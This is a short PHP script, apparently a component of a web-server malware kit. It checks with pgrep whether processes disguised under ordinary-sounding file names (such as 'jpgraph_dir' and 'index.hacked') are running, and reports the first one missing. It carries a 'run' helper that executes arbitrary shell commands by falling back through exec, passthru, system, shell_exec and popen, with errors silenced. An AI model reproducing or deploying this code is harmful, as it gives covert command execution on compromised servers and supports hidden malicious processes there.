<?php   $files = ['SLLists.class','salemaker_info','table_block','jpgraph_dir','iconlookup','commentrenderer','newCourseGrade','cust_add','self_assign','officeStaffEN','delfromcart','ErrorStruct','team_planets','qtype_numerical','tagcontent','freesansi','sais_inv_step3','page.functions','xml_domit_doctor','mod_submenu','editevent','index.hacked','sqlupdate2','show_info_','page_info','edit_link2','fastsearch.save','sqlparser.data','MimeList','minibrowser']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }